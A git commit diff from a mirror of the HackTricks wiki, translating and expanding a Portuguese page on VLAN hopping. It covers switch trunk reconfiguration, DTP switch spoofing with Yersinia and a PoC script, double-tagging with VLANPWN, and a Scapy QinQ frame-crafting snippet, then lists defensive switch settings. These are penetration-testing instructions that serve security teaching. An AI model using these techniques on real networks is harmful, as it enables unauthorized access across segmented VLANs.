mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
6c59893aef
commit
a7a3931666
@ -1,4 +1,4 @@
|
||||
# Bypass de Segmentação de VLAN Lateral
|
||||
# Lateral VLAN Segmentation Bypass
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@ Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode
|
||||
|
||||
Inicialmente, é necessário identificar a porta conectada específica. Isso pode ser tipicamente realizado através de mensagens CDP ou procurando pela porta via a máscara **include**.
|
||||
|
||||
**Se o CDP não estiver operacional, a identificação da porta pode ser tentada buscando pelo endereço MAC**:
|
||||
**Se o CDP não estiver operacional, a identificação da porta pode ser tentada procurando pelo endereço MAC**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
@ -20,7 +20,7 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Mudar para o modo trunk irá temporariamente interromper a conectividade, mas isso pode ser restaurado posteriormente.
|
||||
Mudar para o modo trunk irá interromper temporariamente a conectividade, mas isso pode ser restaurado posteriormente.
|
||||
|
||||
Interfaces virtuais são então criadas, atribuídas IDs de VLAN e ativadas:
|
||||
```bash
|
||||
@ -40,7 +40,7 @@ sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Exemplo de como definir manualmente um endereço IP estático em uma interface (VLAN 10):
|
||||
Exemplo de configuração manual de um endereço IP estático em uma interface (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
@ -48,8 +48,76 @@ A conectividade é testada iniciando solicitações ICMP para os gateways padrã
|
||||
|
||||
Em última análise, esse processo permite contornar a segmentação de VLAN, facilitando o acesso irrestrito a qualquer rede VLAN e preparando o terreno para ações subsequentes.
|
||||
|
||||
---
|
||||
|
||||
## Outras Técnicas de VLAN-Hopping (sem CLI privilegiada do switch)
|
||||
|
||||
O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça pivotagem lateral sem nunca fazer login no sistema operacional do switch:
|
||||
|
||||
### 1. Switch-Spoofing com Protocolo de Trunking Dinâmico (DTP)
|
||||
|
||||
Switches Cisco que mantêm o DTP habilitado negociarão felizmente um trunk se o par afirmar ser um switch. Criar um único quadro **DTP “desejável”** ou **“trunk”** converte a porta de acesso em um trunk 802.1Q que transporta *todas* as VLANs permitidas.
|
||||
|
||||
*Yersinia* e vários PoCs automatizam o processo:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior. Kernels modernos do Linux não requerem mais *vconfig*; em vez disso, use *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Abuso de Native-VLAN)
|
||||
|
||||
Se o atacante estiver na **VLAN nativa (sem tag)**, um quadro elaborado com *dois* cabeçalhos 802.1Q pode "pular" para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como **VLANPWN DoubleTagging.py** (atualização de 2022-2024) automatizam a injeção:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. A tag externa (1) é removida pelo primeiro switch porque corresponde à VLAN nativa.
|
||||
2. A tag interna (20) agora está exposta; o quadro é encaminhado para o trunk em direção à VLAN 20.
|
||||
|
||||
A técnica ainda funciona em 2025 em redes que mantêm a VLAN nativa como padrão e aceitam quadros não marcados.
|
||||
|
||||
### 3. Empilhamento QinQ (802.1ad)
|
||||
|
||||
Muitos núcleos empresariais suportam encapsulamento de provedor de serviço *Q-in-Q*. Onde permitido, um atacante pode tunelar tráfego arbitrário marcado com 802.1Q dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para o ethertype 802.1ad 0x88a8 e tente remover a tag externa com Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Recomendações Defensivas
|
||||
|
||||
1. Desative o DTP em todas as portas voltadas para o usuário: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Altere a VLAN nativa em cada trunk para uma **VLAN não utilizada, black-hole** e a marque: `vlan dot1q tag native`.
|
||||
3. Remova VLANs desnecessárias nos trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Aplique segurança de porta, DHCP snooping e inspeção ARP dinâmica para limitar atividades indesejadas de Camada 2.
|
||||
5. Prefira VLANs privadas ou segmentação L3 em vez de depender apenas da separação 802.1Q.
|
||||
|
||||
---
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- Conjunto de ferramentas de ataque VLANPWN – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "O que é VLAN Hopping?" (Ago 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user